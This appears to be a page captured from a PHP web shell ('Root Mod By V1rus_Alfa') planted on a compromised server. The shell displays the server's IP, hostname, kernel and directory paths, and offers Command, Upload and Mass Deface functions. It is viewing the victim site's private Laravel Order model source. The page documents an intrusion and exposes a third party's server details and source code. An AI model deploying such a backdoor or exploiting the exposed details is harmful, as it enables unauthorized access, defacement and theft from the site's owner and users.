���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Models
/
Viewing: Order.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use App\Helpers\HelperClass\GeneralUse; use Morilog\Jalali\Jalalian; class Order extends Model { use HasFactory; protected $table = 'orders'; protected $fillable = [ 'id', 'name', 'type', 'number', 'employe_editor_id', 'close', 'status', 'platform', 'status_services', 'status_em_services', 'description', 'price', 'factor', 'edit', 'material_name', 'material_code', 'payment_log_id', 'payment_status', 'customer_id', 'user_id', 'services_id', 'category_id', 'description_tell', 'employe_id', 'time_estimate', 'order_description', ]; public function ordersCount() { return $this->hasMany(Order::class, 'user_id', 'user_id'); } public function payment_link() { if ($this->payment_status == 'false' && 0 < $this->price) { return 'https://npln.ir/payment/order?user_id=' . $this->user_id . '&order_id=' . $this->id . '&type=order'; } else { return false; } } public function logs() { return $this->hasMany(OrderLog::class, 'order_id')->where('type', 'services'); } public function log() { return $this->hasOne(OrderLog::class, 'order_id')->where('type', 'services')->orderBy('id', 'desc'); } public function filesApp() { $status_name = GeneralUse::name_status(9); // $or_status_name=GeneralUse::name_status(14); return $this->hasMany(Files::class, 'row_id')->where('table', 'Order')->where('type', 'filesOrder')->with('order')->whereHas("order", function ($q) use ($status_name) { $q->whereIn('orders.status_services', [$status_name]); }); } public function threeDfilesApp() { $status_name = GeneralUse::name_status(9); // $or_status_name=GeneralUse::name_status(14); return $this->hasMany(Files::class, 'row_id')->where('table', 'Order')->where('type', 'threeDfilesOrder')->with('order')->whereHas("order", function ($q) use ($status_name) { $q->whereIn('orders.status_services', [$status_name]); }); } public function files() { return $this->hasMany(Files::class, 'row_id')->where('table', 'Order')->where('type', 'filesOrder'); } public function threed_files() { return $this->hasMany(Files::class, 'row_id')->where('table', 'Order')->where('type', 'threeDfilesOrder'); } public function user() { return $this->belongsTo(User::class, 'user_id'); } public function services() { return $this->belongsTo(User::class, 'services_id'); } public function message() { return $this->hasOne(Message::class, 'order_id')->where('seen', 'no'); } public function factorhas() { return $this->hasOne(Factor::class, 'order_id'); } public function customer() { return $this->belongsTo(UserServices::class, 'customer_id'); } public function employ() { return $this->belongsTo(User::class, 'employe_id'); } public function category() { return $this->belongsTo(CategoryOrder::class, 'category_id'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa